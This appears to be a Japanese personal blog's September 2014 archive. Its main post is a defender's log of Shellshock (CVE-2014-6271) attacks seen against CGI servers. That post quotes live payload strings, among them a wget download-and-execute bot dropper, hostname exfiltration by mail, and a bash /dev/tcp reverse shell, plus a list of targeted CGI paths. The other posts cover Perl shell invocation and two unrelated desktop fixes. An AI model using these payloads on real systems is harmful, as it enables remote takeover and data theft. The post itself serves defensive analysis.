Archive

Archive for 2014年9月

CVE-2014-6271利用攻撃の観測ログ

CVE-2014-6271、shellshockを利用したwebサーバのCGIを狙った攻撃をちょこちょこ観測しています。データが増え次第追記。
(shellshockと呼ぶとCVE-2014-7169も含んでおり紛らわしいのでCVE番号で表記しています)

1. pingを打たせてスキャンする系
User-Agentが

() { :;}; /bin/ping -c 1 (IPアドレス)

となっているやつ。すでにかなりの件数を観測。
ソースとping先が別のホストであることからDDoS狙いかな?とも思いましたがそうすると-c 1なのが理解できない。

2. echoさせる系

() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a
とか
() { :; }; echo Mozilla: `echo 1No2yKe0Uh`;

となっているもの。ちなみにこれ、少なくともapacheの環境下で、直接bashを呼び出す場合はContent-Typeヘッダがないのでこけるはずです。perlのsystem等に対しては有効。

3. ダウンロード・実行させる系

() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z (ipaddr)/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\"

となっているやつ。ダウンロードされるのはperlで書かれた典型的なbot。現在のところ2種類のコードを確認しています。
10/5追記: 3種類目を観測しました、中身はrootkitのバイナリを含むperlスクリプト?

4. 何がしたいのかわからない系

Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0Cookie: () { :; }; /usr/bin/env ping -c 3 (ipaddr)Host: () { :; }; /usr/bin/env ping -c 3 (ipaddr)Referer: () { :; }; /usr/bin/env ping -c 3 (ipaddr)Cookie: /usr/bin/env X='() { (a)=>' bash -c 'echo /usr/bin/env ping -c 3 (ipaddr)'; cat echoHost: /usr/bin/env X='() { (a)=>' bash -c 'echo /usr/bin/env ping -c 3 (ipaddr)'; cat echoReferer: /usr/bin/env X='() { (a)=>' bash -c 'echo /usr/bin/env ping -c 3 (ipaddr)'; cat echoAccept: */*

上記全部がUser-Agentです。Cookie、Host、Refererのヘッダに対してpingするコードを仕込もうとしているようですが、改行なしで全部つながっています。馬鹿か。
さらに後半はCVE-2014-7169狙いのようですが、そもそもこの書き方ではバグを誘発させないため何の意味もないコードと化しています。
/usr/bin/envから書き始めているあたり内容を理解もせずに公開されているPoCを適当に書き換えて投げ込んだだけでしょう。

5. ホストネームをメールで送る系(2014/10/1追記)

() { :; }; echo '/bin/hostname' | /bin/mail -s 'Target' (意味のある11文字)@gmail.com"

攻撃可能なホスト名をリスト化しようとしているようですが、hostnameはあくまで自称なので精度は怪しいところ。

6. bashの機能でtcpでコントロールサーバに繋ぎに行く系(2014/10/30追記)

() { ignored;};/bin/bash -i >& /dev/tcp/(ipaddr)/(port) 0>&1

bashのstdin、stdoutをtcpのソケットに紐付けてコントロールサーバにつなぎに行きます。
localhostでnc -l -pとかして待機してるとわかるのですが、リモートのサーバからコマンドを送れる状態となります。

攻撃対象のファイル名

  • /
  • /cgi-sys/defaultwebpage.cgi
  • /cgi-bin/count.cgi
  • /cgi-bin/test.cgi
  • /cgi-bin/help.cgi
  • /cgi-bin/index.cgi
  • /cgi-bin/test.sh
  • /test
  • //cgi-bin//he
  • /cgi-bin/hi
  • /dana-na/auth/url_default/welcome.cgi

その他の特徴あるやつ

    リファラが「http://www.baidu.com」になっているものがある。発信元は118.192.48.6固定っぽい?IPアドレス的に離れた複数のホストに同一ソースからぶちまけられていた。
カテゴリー:GNU/Linux

perlのsystem/open(パイプモード)の挙動

CVE-2014-6271周りでいろいろ調査してた時に知ったことです。
perlを触って10年近く経ちますが初めて知った事実。

system、open(2引数/3引数問わずパイプを開く場合)、“(バッククォートによるコマンド実行)では
「シェルを通すのでメタ文字のエスケープが必要」というのはよく知られた事実です。
当然「必ずシェルを通すもの」と思っていたのですが、これは間違いで「シェルのメタ文字を含む場合はシェルに渡るが含まない場合はシェルを通さない」が正しいそうです。

つまり、

system("ls");

はシェルを通さないのでCVE-2014-6271の影響を受けないが、

system("ls;");

とした瞬間にシェルを通すようになり、それがbashであればCVE-2014-6271の影響を受けるようになります。

最初はこれに気付かずに`sleep 0`とかで検証して「ああ、perlのsystem系は大丈夫だな」と勘違いしていたのですがそんなことはないです。
特にありがちなのは”(ダブルクォート)とかでしょうかね。

CGI版phpやらrubyやらpythonなんかは触ってないので同じような挙動をするのか毎回シェルが上がるのか分かりません。

おそらく、実装された当時はシェル立ち上げの負荷が馬鹿にならなかった時代で、できるだけ直接起動したかった、という事情なんじゃないかなーと。

カテゴリー:GNU/Linux

リモートデスクトップクライアント(mstsc)が突然動かなくなった

ある日突然NLAを有効にしているマシンへのリモートデスクトップ接続が失敗するようになりました。
mstscだとパスワードを打ち込んだ後に何も言わずに落ち、
Windows8のストアアプリ版では「認証に失敗しました 0x800706be」と出てくるように。

原因は前日にインストールしたグリーンハウスのBluetoothアダプタGH-BHDA42のドライバ(CSR製スタック)で、これを削除すると元通り繋がるように。
チップセット的にはCSR製の物すべてが対象になると思われます。どう見てもバグだろこれ。
Windowsのドライバで動かせば普通に使えるのですがFTPプロファイルに対応してないので残念な感じ。

9/26 型番間違えてたので訂正。

カテゴリー:未分類

Fedora20でibus-setupの設定がgnome上で反映されない

Fedora20をインストールした環境でデフォルトの日本語入力はibus+kkcですが、やっぱりmozcにしたいなーと思うわけです。
この手の設定変更は慣れたもんだといつものようにibus-setupを起動してmozcを順序の一番上に突っ込むわけですが、gnomeを再起動するとなぜかkkcになっています。
もう一度ibus-setupを起動してもやっぱりmozcになっているので、なんかおかしいとibus-daemonを再起動するとmozcが使えるようになっています。どうしてこうなった。

たぶんgnomeとibus統合の一環で、gnomeから起動されるibus-daemonの設定は別になったようです。
gnome起動時に反映される設定はgnomeの設定から「地域と言語」にある入力ソースになります。
逆にいうと、こっちで変えてもibus-setupの方には反映されないっぽいので、
ibusが調子悪いからとコマンドラインからibus-daemon -r -dとかやるとibus-setup側の設定が読まれてgnome側の設定は無効になります。
また、入力ソース切り替えも同様に二箇所にばらけたようで、こちらのgnome側は「キーボード」の「ショートカット」タブ、「タイピング」の欄にあります。

もうやだこのWM

カテゴリー:GNU/Linux